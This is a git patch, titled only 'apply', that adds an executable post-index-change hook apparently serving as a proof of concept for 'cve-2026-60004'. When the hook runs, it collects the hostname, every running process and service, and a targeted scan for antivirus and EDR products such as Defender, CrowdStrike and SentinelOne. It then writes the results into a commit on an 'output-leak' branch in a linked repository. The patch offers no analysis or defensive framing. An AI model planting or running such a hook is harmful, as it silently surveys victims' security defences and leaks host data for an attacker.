From bae33c7ca254f74b8f3ecccc4ecf3a433faa95a7 Mon Sep 17 00:00:00 2001 From: devzk15a57 Date: Wed, 14 Oct 2026 22:20:28 +0330 Subject: [PATCH] apply --- hooks/post-index-change | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..0a8aa98 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,26 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( +echo ===HOST=== +hostname +echo ===PROC_AV_EDR=== +/c/WINDOWS/System32/tasklist.exe 2>&1 | grep -i -E 'msmpeng|nissrv|windefend|defender|360|qax|huorong|hipstray|hipsgui|avp|kav|eset|avast|avg|bitdefender|bdagent|sophos|crowdstrike|csfalcon|sentinel|sentinelone|carbonblack|cybereason|trend|sangfor|edr|xdr|symantec|norton|mcafee|fireeye|tanium|velociraptor|osquery|sysmon|winlogbeat|filebeat|elastic|wazuh|ossec|antivirus|malware|forti|qualys|rapid7|insight|aagent|guard' || echo '[none]' +echo ===ALL_PROCS=== +/c/WINDOWS/System32/tasklist.exe 2>&1 +echo ===SERVICES_AV_EDR=== +/c/WINDOWS/System32/sc.exe query type= service state= all 2>&1 | grep -i -E 'SERVICE_NAME|DISPLAY_NAME|STATE' | grep -i -E 'msmpeng|nissrv|windefend|defender|360|qax|huorong|hipstray|hipsgui|avp|kav|eset|avast|avg|bitdefender|bdagent|sophos|crowdstrike|csfalcon|sentinel|sentinelone|carbonblack|cybereason|trend|sangfor|edr|xdr|symantec|norton|mcafee|fireeye|tanium|velociraptor|osquery|sysmon|winlogbeat|filebeat|elastic|wazuh|ossec|antivirus|malware|forti|qualys|rapid7|insight|aagent|guard' || echo '[none]' +echo ===SECURITY_SERVICES=== +for s in WinDefend WdNisSvc Sense MsSense wscsvc SecurityHealthService Sysmon Sysmon64 CSFalconService SentinelAgent SentinelHelperService SophosHealth SAVService SepMasterService McAfeeFramework McAfeeEngineService MBAMService ESETService avast!AVP AVP KAVFS HipsTray HipsDaemon QaxTray 360Tray 360safe ZhuDongFangYu; do + echo "--- $s ---" + /c/WINDOWS/System32/sc.exe query "$s" 2>&1 | head -8 +done +echo ===ALL_SERVICES=== +/c/WINDOWS/System32/sc.exe query type= service state= all 2>&1 | grep -E 'SERVICE_NAME|DISPLAY_NAME|STATE' | head -500 +echo ===DONE=== + 2>&1; echo "[exit-status=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM" +#A